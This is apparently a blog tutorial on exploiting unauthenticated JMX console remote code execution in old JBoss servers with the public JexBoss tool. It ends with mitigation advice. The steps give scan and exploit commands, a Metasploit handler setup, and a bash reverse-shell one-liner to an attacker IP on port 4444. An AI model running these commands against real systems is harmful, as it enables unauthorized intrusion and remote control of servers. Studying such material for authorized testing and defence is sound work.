Introduction

In this post, I'll walk you through a hands-on exploitation of a Remote Code Execution (RCE) vulnerability found in older versions of JBoss, a widely used open-source Java EE application server. This kind of vulnerability can allow attackers to execute arbitrary system commands remotely and gain unauthorized access to the target machine.

Whether you're a security researcher, red teamer, or just curious about how real-world RCE attacks work, this guide will walk you through the full process from discovery to exploitation.

⚠️ Disclaimer: This article is for educational purposes only. Do not use these techniques on systems you do not own or have explicit permission to test.

What is JBoss and Why Is It Vulnerable?

JBoss (now known as WildFly) is a popular application server used to deploy and manage Java applications. Older versions of JBoss (such as 4.x to 6.x) were shipped with exposed administrative interfaces like JMX Console or Web Console, which — if left unprotected — can allow unauthenticated attackers to upload and deploy arbitrary Java code.

Vulnerability Summary

  • Unauthenticated access to JMX console
  • Ability to upload .war files
  • Result: Remote execution of arbitrary commands (RCE)

🚀 Exploitation Steps

🔎 1. Service Discovery

Scan the target for open ports:

nmap -p 8080 -sV 10.10.10.XX {Remplace with a real ip}

If you see something like: 8080/tcp open http JBoss httpd Then you may have found a vulnerable instance.

None
Discover 8080 port

2: Clone the Exploit Tool

We'll use JexBoss, a GitHub PoC that automates JBoss exploitation:

None
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt

🧨 Step 3: Run the Exploit

python3 jexboss.py -host http://10.10.10.XX:8080

The tool will test for JMX vulnerabilities and try to deploy a shell.

If successful, it will open a reverse shell or a web shell depending on the exploit path.

None

🧬 Step 4: Upgrade to a Meterpreter Session (Optional)

Once we successfully get a basic reverse shell (via jexws4b.jsp or other method), we might want more control over the target system. A simple shell is limited — no file upload, no post-exploitation modules, no pivoting, etc.

To upgrade it to a Meterpreter session, we can use Metasploit's powerful features.

None

⚙️ Step 5: Getting Meterpreter via Metasploit

1. Start Metasploit and Use Multi/Handler

msfconsole
use multi/handler

Then set up a reverse handler:

set lhost eth0
exploit
None
Replace eth0 with your IP

Now In Jexboss shell type :

/bin/bash -i > /dev/tcp/{YOUR_EXTERNAL_IP}/4444 0>&1 2>&1

NOTE: the port forwarding is necessary to get the session on meterpreter.

To get Your external ip you can type curl ifconfig.me

None

Let's see what happened in meterpreter :

None

I tested on a macos so that's why I got just the shell banner;

In ur case u well get a better shell !

🛡️ Mitigation

  • Restrict access to admin endpoints like /jmx-console and /web-console.
  • Enforce strong authentication.
  • Disable management interfaces in production environments.
  • Upgrade to a patched version of WildFly or configure JBoss securely.

📌 Conclusion

Using public GitHub PoCs like JexBoss, attackers can easily identify and exploit exposed JBoss instances without needing Metasploit. If you're running older versions of JBoss in production or staging environments, consider them high-risk.

🔗 Tool used: https://github.com/joaomatosf/jexboss

🏷️ Tags

#JBoss #RCE #GitHubPoC #RedTeam #WebSecurity #ManualExploitation #JexBoss